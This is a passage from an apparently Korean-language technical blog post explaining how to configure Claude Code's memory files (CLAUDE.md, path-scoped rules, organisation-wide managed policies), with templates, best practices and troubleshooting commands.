│       ├── security.md            # 보안 가이드
│       └── performance.md         # 성능 최적화&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Path-specific rules로 유연하게 제어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;YAML frontmatter의 &lt;code&gt;paths&lt;/code&gt; 필드를 사용하여, 특정 파일 패턴에만 규칙을 적용할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;.claude/rules/api-design.md

---
paths:
  - &quot;src/api/**/*.ts&quot;
  - &quot;src/routes/**/*.ts&quot;
---

# API Design Rules

## Request Validation
- All API endpoints must include input validation
- Use Zod or similar schema validation library

## Error Responses
- All errors must follow the standard error response format
- Include error code, message, and details in response body&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;&lt;b&gt;공식 필드 안내:&lt;/b&gt; Claude Code가 공식적으로 처리하는 frontmatter 필드는 &lt;code&gt;paths&lt;/code&gt;뿐이다. &lt;code&gt;priority&lt;/code&gt;, &lt;code&gt;version&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt; 같은 추가 필드는 Claude Code에 의해 기능적으로 처리되지 않으며, 가독성을 위한 비공식 메타데이터로만 활용할 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;paths 필드 문법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;*.ts&lt;/code&gt; - 모든 TypeScript 파일&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;src/**/*.tsx&lt;/code&gt; - src 이하의 모든 tsx 파일&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;{src,lib}/**/*.ts&lt;/code&gt; - src 또는 lib의 모든 ts 파일 (brace expansion)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;src/components/*.tsx&lt;/code&gt; - src/components 의 tsx 파일만&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;paths 없는 규칙:&lt;/b&gt; frontmatter에 paths를 명시하지 않으면, 모든 파일에 적용된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;사용자 레벨 규칙&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;~/.claude/rules/ 디렉토리에 규칙을 저장할 수 있다. 이는 모든 프로젝트에 적용되지만, 프로젝트 규칙보다 우선순위가 낮다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 조직 레벨 메모리 관리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;IT/DevOps 팀이 조직 전체의 코딩 표준과 정책을 중앙에서 관리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;관리형 정책 (Managed Policy)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다음 위치에 CLAUDE.md를 배치하면, 해당 조직의 모든 사용자에게 적용된다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;OS&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;macOS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;/Library/Application Support/ClaudeCode/CLAUDE.md&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;/etc/claude-code/CLAUDE.md&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;C:\Program Files\ClaudeCode\CLAUDE.md&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;IT/DevOps가 중앙에서 배포하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MDM (Mobile Device Management), Group Policy, Ansible 등의 도구로 자동 배포할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;# Ansible 예제
- name: Deploy Claude Code Organization Policy
  copy:
    src: claude-code-policy.md
    dest: /etc/claude-code/CLAUDE.md
    mode: '0644'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;관리형 정책의 내용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;보안 정책, 코딩 표준, 허가된 도구 목록, 컴플라이언스 요구사항 등을 포함할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 실전 활용 사례&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 시스템을 어떻게 활용할지 실제 시나리오를 통해 살펴본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;팀 프로젝트에서의 메모리 구성&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;project-root/
├── CLAUDE.md                                  # 팀이 공유하는 기본 지침
│   - 프로젝트 개요
│   - 개발 워크플로우
│   - @.claude/rules/ 규칙들 참조
│
├── CLAUDE.local.md                           # 개인 로컬 설정 (미공유)
│   - 로컬 API 서버 주소
│   - 테스트 데이터베이스 정보
│
└── .claude/
    ├── CLAUDE.md                             # 상세 지침
    ├── rules/
    │   ├── typescript.md                      # TypeScript 규칙
    │   ├── react.md                           # React 컴포넌트 규칙
    │   ├── api.md                             # API 설계 규칙
    │   └── testing.md                         # 테스트 전략&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바로 쓸 수 있는 프로젝트 CLAUDE.md 템플릿&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;처음 CLAUDE.md를 작성할 때 아래 템플릿을 복붙하여 프로젝트에 맞게 수정하면 된다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# Project Overview
- **프로젝트명**: [프로젝트 이름]
- **목적**: [프로젝트의 목적과 주요 기능]
- **주요 사용자**: [대상 사용자]

# Tech Stack
- **언어**: TypeScript (strict mode)
- **프레임워크**: [예: Next.js 14, FastAPI]
- **패키지 매니저**: pnpm
- **데이터베이스**: [예: PostgreSQL, MongoDB]
- **테스트**: Jest + Testing Library

# Coding Style
- 들여쓰기: 2칸 스페이스 (탭 사용 금지)
- 줄 길이: 최대 100자
- 세미콜론: 사용
- 따옴표: 작은따옴표(') 우선
- 타입 명시: 모든 함수 매개변수와 반환값에 타입 명시

# Development Workflow
- 브랜치 전략: feature/[기능명] &amp;rarr; main (PR 필수)
- 커밋 메시지: Conventional Commits (feat:, fix:, docs: 등)
- PR 리뷰: 최소 1명 승인 필요
- 테스트: PR 머지 전 전체 테스트 통과 필수

# Key Directories
- `src/api/` - API 라우트 및 핸들러
- `src/components/` - 재사용 가능한 컴포넌트
- `src/utils/` - 유틸리티 함수
- `tests/` - 테스트 파일

# Important Patterns
- 에러 핸들링: 모든 async 함수에 try-catch 사용
- 로깅: console.error (에러), console.warn (경고)
- 환경변수: .env 파일 사용, 민감 정보는 절대 커밋 금지&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: /init 명령어로 시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;새 프로젝트에서는 직접 작성하는 대신 &lt;code&gt;/init&lt;/code&gt; 명령어를 실행하면 Claude가 코드베이스를 분석해서 CLAUDE.md 초안을 자동 생성해준다. 이후 위 템플릿을 참고하여 보완하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개인 개발 환경 최적화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;~/.claude/CLAUDE.md에 개인 선호도를 저장하면, 모든 프로젝트에 공통으로 적용된다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;~/.claude/CLAUDE.md

# Global Code Style Preferences
- Always use consistent indentation (my preference: 2 spaces)
- Use TypeScript strict mode by default
- Prefer functional components in React

# Preferred Tools &amp;amp; Conventions
- Test framework: Jest + Testing Library
- Package manager: pnpm
- Git workflow: trunk-based development

# Common Debugging Patterns
- Enable source maps in development
- Use console.error for errors, console.warn for warnings&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;엔터프라이즈 레벨 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;조직 정책 + 프로젝트 규칙 + 개인 선호도를 계층적으로 구성한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;조직 정책:&lt;/b&gt; /etc/claude-code/CLAUDE.md (보안, 컴플라이언스)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;프로젝트 규칙:&lt;/b&gt; project/.claude/rules/*.md (프로젝트별 기준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개인 선호도:&lt;/b&gt; ~/.claude/CLAUDE.md (개인 개발 스타일)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팀 지침:&lt;/b&gt; project/CLAUDE.md (팀 전체 공유)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 모범 사례 &amp;amp; 팁&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 시스템을 효과적으로 활용하기 위한 모범 사례들이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리를 효과적으로 작성하는 방법&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구체적으로 작성:&lt;/b&gt; &quot;Use 2-space indentation&quot; (not &quot;Format code properly&quot;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구조화:&lt;/b&gt; 불릿 포인트와 제목으로 관련 정보를 그룹화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;예제 포함:&lt;/b&gt; &quot;좋은 예&quot; vs &quot;나쁜 예&quot; 코드 스니펫 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이유 설명:&lt;/b&gt; &quot;왜&quot;를 명시하면 Claude가 더 잘 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;간결함:&lt;/b&gt; MEMORY.md는 200줄 제한, 상세 내용은 토픽 파일로&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;좋은 메모리 작성 예&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Error Handling

## Pattern
Always wrap async operations and provide user-friendly errors:

Bad:
throw new Error('DB error');

Good:
try {
  await db.query(...);
} catch (e) {
  logger.error('Database operation failed', e);
  throw new AppError('Failed to load data', 'DB_ERROR');
}

## Why
- User-friendly messages improve UX
- Error codes help with debugging
- Logging helps with monitoring&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장: 메모리 작성 베스트 프랙티스&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;MEMORY.md는 &lt;b&gt;200줄 이내&lt;/b&gt;로 핵심 정보만 &amp;mdash; 상세 내용은 토픽 파일로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;왜(Why)&quot;를 명시하면 Claude가 의도를 더 정확히 파악&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;좋은 예/나쁜 예 코드 스니펫을 포함하면 효과 극대화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;팀 CLAUDE.md는 PR 리뷰를 통해 변경사항 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 파일 정리 및 유지보수&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;정기 검토:&lt;/b&gt; 분기마다 메모리 파일을 검토하고 업데이트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;오래된 정보 제거:&lt;/b&gt; 더 이상 유효하지 않은 규칙은 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;버전 관리:&lt;/b&gt; CLAUDE.md 파일에 변경 이력 추가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팀 리뷰:&lt;/b&gt; PR/MR을 통해 메모리 변경사항을 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Auto Memory 활용:&lt;/b&gt; 반복되는 패턴을 자동으로 저장하도록 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;/memory 명령어 활용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &lt;code&gt;/memory&lt;/code&gt; 명령어를 실행하면 파일 선택기(file selector)가 열린다. Auto Memory entrypoint 파일과 CLAUDE.md 파일이 포함된다. 주요 기능:&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Auto Memory &lt;b&gt;토글&lt;/b&gt; (활성화/비활성화)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;현재 로드된 메모리 파일 확인 (어떤 파일이 로드됐는지 확인 가능)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;선택한 메모리 파일을 &lt;b&gt;시스템 에디터에서 직접 편집&lt;/b&gt; 가능 (대량 추가 또는 정리 시 유용)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 시스템 사용 중 자주 발생하는 문제와 해결 방법을 정리했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Q1 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. 자동 메모리가 로드되지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인:&lt;/b&gt; 먼저 자동 메모리가 활성화되어 있는지 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# .claude/settings.json 확인
cat .claude/settings.json | jq '.autoMemoryEnabled'

# 없으면 명시적으로 설정
echo '{&quot;autoMemoryEnabled&quot;: true}' &amp;gt; .claude/settings.json&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code 재시작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;환경변수 확인: &lt;code&gt;echo $CLAUDE_CODE_DISABLE_AUTO_MEMORY&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;메모리 디렉토리 위치 확인: &lt;code&gt;ls ~/.claude/projects/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;메모리 위치:&lt;/b&gt; &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;git repo 내에서는 repo root 기준&lt;/b&gt;&lt;/span&gt;으로, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;git repo 밖에서는 현재 working directory 기준&lt;/b&gt;&lt;/span&gt;으로 자동 결정된다. repo 경로가 복잡하면 직접 메모리 경로를 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q2 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. CLAUDE.md 파일이 인식되지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인:&lt;/b&gt; 파일 위치와 이름을 다시 확인한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;파일명은 정확히 &lt;code&gt;CLAUDE.md&lt;/code&gt; (대소문자 구분)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;프로젝트 루트 또는 &lt;code&gt;.claude/CLAUDE.md&lt;/code&gt; 위치 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Git worktree 사용 시, 각 worktree가 독립적인 메모리를 가짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# CLAUDE.md 파일 찾기
find . -name &quot;CLAUDE.md&quot; -type f

# 현재 위치가 git repo인지 확인
git rev-parse --show-toplevel

# worktree 확인
git worktree list&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Q3 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. Git worktree를 사용하는데 메모리가 공유되지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 각 git worktree는 독립적인 메모리 디렉토리를 가진다. CLAUDE.md 파일도 worktree별로 따로 관리된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt; 공유할 지침은 홈 디렉토리에 저장하고 import로 참조한다.&lt;/p&gt;
